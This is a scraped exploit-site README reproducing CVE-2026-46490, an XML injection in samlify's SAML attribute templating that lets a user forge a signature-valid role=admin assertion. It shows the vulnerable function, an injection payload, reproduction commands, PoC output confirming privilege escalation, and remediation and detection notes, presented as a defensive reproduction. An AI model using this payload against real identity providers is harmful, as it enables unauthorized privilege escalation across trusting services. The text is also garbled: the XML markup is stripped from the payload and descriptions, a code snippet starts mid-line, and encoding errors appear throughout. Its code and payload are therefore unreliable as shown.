## https://sploitus.com/exploit?id=6210915C-9723-542E-AAB3-1FFADF0E92C4
# CVE-2026-46490 β samlify SAML `AttributeValue` XML Injection β Privilege Escalation
> **samlify ` contexts**. A user-controlled value (e.g. `email` / `name`) placed into element
> text β `{Value}` β is inserted
> **unescaped**, so a normal user can inject extra `` elements
> (e.g. `role=admin`) into their **own, IdP-signed** SAML assertion. Because the
> injection happens before signing, the Service Provider's signature check passes
> and it consumes the forged attributes as authoritative.
| | |
|---|---|
| **CVE** | CVE-2026-46490 |
| **Advisory** | [GHSA-34r5-q4jw-r36m](https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m) |
| **Affected** | samlify ` {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // {attrEmail}{Value}
```
So an attacker-controlled attribute value containing `` injects raw XML.
## Exploitation
The attacker sets their own profile attribute (here `email`) to:
```
eve@evil.com
admin
```
This closes the `email` attribute, **adds a forged `role=admin` attribute**, and
re-opens a throwaway attribute so the template's trailing
`` stays balanced. The IdP then **signs** the
assertion β covering the forged attribute. A standards-compliant SP validates the
signature (valid) and reads `role=admin`.
## Reproduce
```bash
cd lab && ./setup.sh # npm i samlify@2.12.0 + generate IdP/SP keypairs
node poc.js
```
Output:
```
>>> INJECTION CONFIRMED: forged admin smuggled into the signed assertion
extracted attributes: {"email":"eve@evil.com","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
```
The PoC drives samlify's own IdP (`createLoginResponse`, which performs the
vulnerable `replaceTagsByValue` substitution and signs) and SP
(`parseLoginResponse`, which **validates the signature** and extracts attributes).
The SP surfaces `role: "admin"` β an attribute the attacker forged, not one the IdP
intended to issue.
## Impact
Any user who can influence one of their own SAML attribute values (email, display
name, β¦) on a samlify-based IdP can mint a **validly signed** assertion carrying
arbitrary additional attributes β group/role membership, entitlements, `isAdmin`
flags β and escalate privileges on every SP that trusts the IdP. SAML signature
validation does not help: the forgery is inside the signed scope.
## Remediation
* Upgrade to **samlify β₯ 2.13.0**, which XML-escapes interpolated values in element
contexts as well, not only attribute contexts.
* Defense in depth: validate/normalize user-supplied attribute values server-side;
prefer allow-listed attribute schemas at the SP.
## Detection
Inspect issued/consumed assertions for attribute values containing XML markup
(``, `` elements than the IdP template defines.
See [`ANALYSIS.md`](ANALYSIS.md) for the substitution regex, the quote heuristic, and
the patch.
---
* Author: **Caio FabrΓcio** β [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original reporter / vendor advisory; this repo
is an independent reproduction for defensive and educational use. For authorized
security testing only.